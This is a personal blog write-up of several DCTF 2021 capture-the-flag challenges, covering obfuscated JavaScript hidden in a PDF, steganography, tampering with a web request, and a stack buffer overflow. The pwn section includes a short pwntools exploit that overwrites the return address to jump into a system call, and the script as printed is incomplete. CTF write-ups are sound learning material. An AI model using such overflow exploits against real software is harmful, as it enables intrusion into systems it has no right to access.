Jason Turley's Website

DCTF 2021

DCTF 2021 was a Capture The Flag (CTF) competition held from Friday, May 14 to Sunday, May 16 2021 by DragonSec SI. This was a busy weekend for me, so I only solved a handful of challenges. You can read them all or jump to a specific challenge.

Table of Contents

Dont let it run

PDF documents can contain unusual objects within.

We are given a PDF file named dragon.pdf.

As with most challenges, I start by running strings. The command output below is truncated to only include the most relevant information:

$ strings dragon.pdf
/S /JavaScript
/JS <766172205F3078346163393D5B2736363361435968594B272C273971776147474F272C276C6F67272C273150744366746D272C27313036387552596D7154272C27646374667B7064665F316E6A33637433647D272C273736383537376A6868736272272C2737313733343268417A4F4F51272C27373232353133504158436268272C2738333339383950514B697469272C27313434373836335256636E546F272C2731323533353356746B585547275D3B2866756E6374696F6E285F30783362316636622C5F3078316164386237297B766172205F30783536366565323D5F3078353334373B7768696C652821215B5D297B7472797B766172205F30783237353061353D7061727365496E74285F307835363665653228307831366529292B2D7061727365496E74285F307835363665653228307831366429292B7061727365496E74285F307835363665653228307831366329292B2D7061727365496E74285F307835363665653228307831373329292A2D7061727365496E74285F307835363665653228307831373129292B7061727365496E74285F307835363665653228307831373229292A2D7061727365496E74285F307835363665653228307831366129292B7061727365496E74285F307835363665653228307831366629292A7061727365496E74285F307835363665653228307831373529292B2D7061727365496E74285F307835363665653228307831373029293B6966285F30783237353061353D3D3D5F307831616438623729627265616B3B656C7365205F30783362316636625B2770757368275D285F30783362316636625B277368696674275D2829293B7D6361746368285F3078353736346134297B5F30783362316636625B2770757368275D285F30783362316636625B277368696674275D2829293B7D7D7D285F3078346163392C3078386439376629293B66756E6374696F6E205F30786128297B766172205F30783363366432303D5F3078353334373B636F6E736F6C655B5F3078336336643230283078313734295D285F307833633664323028307831366229293B7D76617220613D27626B706F646E746A636F7073796D6C78656977686F6E7374796B787372707A79272C623D2765787262737071717573746E7A717269756C697A70656565787771736F666D77273B5F30786228612C62293B66756E6374696F6E205F307835333437285F30783337646533352C5F3078313961633236297B5F30783337646533353D5F30783337646533352D30783136613B766172205F30783461633965613D5F3078346163395B5F30783337646533355D3B72657475726E205F30783461633965613B7D66756E6374696F6E205F307862285F30783339623365652C5F3078666165353433297B766172205F30783235393932333D5F30783339623365652B5F30786661653534333B5F30786128293B7D0A>

Lots of hex! The label immediately above the hex tells us this is encoded JavaScript. I placed the hex in a file named “hex” and ran xxd on it to decode it:

$ xxd -r -p hex > obfuscated.js
$ cat obfuscated.js

var _0x4ac9=['663aCYhYK','9qwaGGO','log','1PtCftm','1068uRYmqT','dctf{pdf_1nj3ct3d}','768577jhhsbr','717342hAzOOQ','722513PAXCbh','833989PQKiti','1447863RVcnTo','125353VtkXUG'];(function(_0x3b1f6b,_0x1ad8b7){var _0x566ee2=_0x5347;while(!![]){try{var _0x2750a5=parseInt(_0x566ee2(0x16e))+-parseInt(_0x566ee2(0x16d))+parseInt(_0x566ee2(0x16c))+-parseInt(_0x566ee2(0x173))*-parseInt(_0x566ee2(0x171))+parseInt(_0x566ee2(0x172))*-parseInt(_0x566ee2(0x16a))+parseInt(_0x566ee2(0x16f))*parseInt(_0x566ee2(0x175))+-parseInt(_0x566ee2(0x170));if(_0x2750a5===_0x1ad8b7)break;else _0x3b1f6b['push'](_0x3b1f6b['shift']());}catch(_0x5764a4){_0x3b1f6b['push'](_0x3b1f6b['shift']());}}}(_0x4ac9,0x8d97f));function _0xa(){var _0x3c6d20=_0x5347;console[_0x3c6d20(0x174)](_0x3c6d20(0x16b));}var a='bkpodntjcopsymlxeiwhonstykxsrpzy',b='exrbspqqustnzqriulizpeeexwqsofmw';_0xb(a,b);function _0x5347(_0x37de35,_0x19ac26){_0x37de35=_0x37de35-0x16a;var _0x4ac9ea=_0x4ac9[_0x37de35];return _0x4ac9ea;}function _0xb(_0x39b3ee,_0xfae543){var _0x259923=_0x39b3ee+_0xfae543;_0xa();}

Yuck, obfuscated JavaScript! Thankfully, we do not need to deobfuscate any of it. The flag is visible within the _0x4ac9 list variable.

Flag: dctf{pdf_1nj3ct3d}

Leak spin

The flag is on the DragonSec SI GitHub account. It can be found in the DCTF1-chall-leak-spin repo.


Flag: dctf{I_L1k3_L1evaAn_P0lkk4}


We are given a dragon.png image file.


I went down a long rabbithole searching for the flag in the binary data with tools like strings, binwalk, exiftool, and dd. In the end, none of those tools worked for me.

The flag can be found by opening the PNG in an image editor like GIMP or a tool like stegsolve. I used the latter (because I’ve never used stegsolve and wanted experience with it).

Open dragon.png and filter to show only grey bits. In stegsolve, simply click the bottom arrow until you can see the flag below:


Flag: dctf{N0w_Y0u_s3e_m3}

Hidden Message

We are given a PNG file called fri.png. I did the usual process of running strings, exiftool, and binwalk. The solution was to decode the image on Steganography Online.

Flag: dctf{sTeg0noGr4Phy_101}

Simple Web

Check the “I want flag!” box and press submit. We get a “Not authorized” page. Examine the developer tools and look at the request box:


The “auth” field is set to 0. Right-click to edit and resend the request with auth set to 1.


Double-click the new request to be redirected to the win page!


Flag: dctf{w3b_c4n_b3_fun_r1ght?}

Pwn Sanity Check

Pwn sanity check

Start by running the binary:

$ ./pwn_sanity_check         
tell me a joke
knock knock
will this work?

It reads our entered data of “knock knock”, prints “will this work?” and then exits. Since it reads user supplied data, perhaps we can force a buffer overflow?

$ python -c "print 'A' * 100" | ./pwn_sanity_check
tell me a joke
will this work?
zsh: done                python -c "print 'A' * 100" | 
zsh: segmentation fault  ./pwn_sanity_check

Sweet! Now that we know the code is vulnerable to a buffer overflow, let’s examine it in gdb to find what return address to set the instruction pointer (rip) to.

$ gdb -q ./pwn_sanity_check

Now enter disass <tab><tab> (tab key twice) to view all the functions (output truncated to show only relevant functions):

(gdb) disass <tab><tab>
main	vuln	win	system		shell

First, check main:

(gdb) disass main
Dump of assembler code for function main:
   0x000000000040078c <+0>:     push   rbp
   0x000000000040078d <+1>:     mov    rbp,rsp
   0x0000000000400790 <+4>:     mov    edi,0xa
   0x0000000000400795 <+9>:     mov    eax,0x0
   0x000000000040079a <+14>:    call   0x400580 <alarm@plt>
   0x000000000040079f <+19>:    mov    eax,0x0
   0x00000000004007a4 <+24>:    call   0x400730 <vuln>
   0x00000000004007a9 <+29>:    mov    eax,0x0
   0x00000000004007ae <+34>:    pop    rbp
   0x00000000004007af <+35>:    ret

It sets an alarm that exits the program in 10 (0xa) seconds and calls the vuln function.

(Tip: to give yourself more time when debugging you can increase the alarm time by entering:)

(gdb) set $edi=0xffff

Now the vuln function:

(gdb) disass vuln
Dump of assembler code for function vuln: 
   0x0000000000400730 <+0>:     push   rbp    
   0x0000000000400731 <+1>:     mov    rbp,rsp 
   0x0000000000400734 <+4>:     sub    rsp,0x40                                                                      
   0x0000000000400738 <+8>:     lea    rdi,[rip+0x1d1]        # 0x400910                                                              
   0x000000000040073f <+15>:    call   0x400550 <puts@plt>                                                           
   0x0000000000400744 <+20>:    mov    rdx,QWORD PTR [rip+0x200915]        # 0x601060 <stdin@@GLIBC_2.2.5>                            
   0x000000000040074b <+27>:    lea    rax,[rbp-0x40]
   0x000000000040074f <+31>:    mov    esi,0x100
   0x0000000000400754 <+36>:    mov    rdi,rax                                                                       
   0x0000000000400757 <+39>:    call   0x400590 <fgets@plt>          
   0x000000000040075c <+44>:    cmp    DWORD PTR [rbp-0x4],0xdeadc0de                                                                 
   0x0000000000400763 <+51>:    jne    0x40077d <vuln+77>                                                            
   0x0000000000400765 <+53>:    lea    rdi,[rip+0x1b4]        # 0x400920                                                              
   0x000000000040076c <+60>:    call   0x400550 <puts@plt>
   0x0000000000400771 <+65>:    mov    eax,0x0         
   0x0000000000400776 <+70>:    call   0x4006f4 <shell>  
   0x000000000040077b <+75>:    jmp    0x400789 <vuln+89>                                                            
   0x000000000040077d <+77>:    lea    rdi,[rip+0x1c1]        # 0x400945                                                              
   0x0000000000400784 <+84>:    call   0x400550 <puts@plt>         
   0x0000000000400789 <+89>:    nop                                
   0x000000000040078a <+90>:    leave                              
   0x000000000040078b <+91>:    ret

On line <+27> we see that 64 bytes (0x40) of stack space are being allocated for our input buffer. So we can cause a buffer overflow with 72 bytes of data (64 for input buffer + 8 for base pointer).

But where do we set the instruction pointer to return to? Let’s check out that win function we say earlier.

(gdb) disass win
Dump of assembler code for function win:
   0x0000000000400697 <+0>:     push   rbp
   0x0000000000400698 <+1>:     mov    rbp,rsp
   0x000000000040069b <+4>:     sub    rsp,0x10
   0x000000000040069f <+8>:     mov    DWORD PTR [rbp-0x4],edi
   0x00000000004006a2 <+11>:    mov    DWORD PTR [rbp-0x8],esi
   0x00000000004006a5 <+14>:    lea    rdi,[rip+0x18c]        # 0x400838
   0x00000000004006ac <+21>:    call   0x400550 <puts@plt>
   0x00000000004006b1 <+26>:    cmp    DWORD PTR [rbp-0x4],0xdeadbeef
   0x00000000004006b8 <+33>:    jne    0x4006f1 <win+90>
   0x00000000004006ba <+35>:    lea    rdi,[rip+0x1b7]        # 0x400878
   0x00000000004006c1 <+42>:    call   0x400550 <puts@plt>
   0x00000000004006c6 <+47>:    cmp    DWORD PTR [rbp-0x8],0x1337c0de
   0x00000000004006cd <+54>:    jne    0x4006f1 <win+90>
   0x00000000004006cf <+56>:    lea    rdi,[rip+0x1b7]        # 0x40088d
   0x00000000004006d6 <+63>:    call   0x400550 <puts@plt>
   0x00000000004006db <+68>:    lea    rdi,[rip+0x1bc]        # 0x40089e
   0x00000000004006e2 <+75>:    call   0x400560 <system@plt>
   0x00000000004006e7 <+80>:    mov    edi,0x0
   0x00000000004006ec <+85>:    call   0x4005a0 <exit@plt>
   0x00000000004006f1 <+90>:    nop
   0x00000000004006f2 <+91>:    leave  
   0x00000000004006f3 <+92>:    ret

We could return to the starting address of win (0x400697), but then we would have to pass the comparison checks on lines <+26> and <+47>. We can save ourselves the headache by jumping closer to the system call. I chose address 0x4006cf.

Here is my exploit solution, written with Python:

#!/usr/bin/env python3
from pwn import *


binary = "./pwn_sanity_check"

context.binary = binary

	p = process(binary)
	p = remote("dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io", 7480)

# Overflow buffer 
payload = b"A" * 72  		# 60 bytes for buffer, 4 for local integer, and 8 for rbp
payload += p64(0x4006cf)	# bypass parameter checks in win() function

p.readuntil("tell me a joke\n")


Note: I solved this challenge offline after the CTF ended, so no flag for me.


Overall, I had a lot of fun playing DCTF 2021. The team at DragonSec SI did a great job organizing this competition. I’ll be on the lookout for DCTF 2022 :)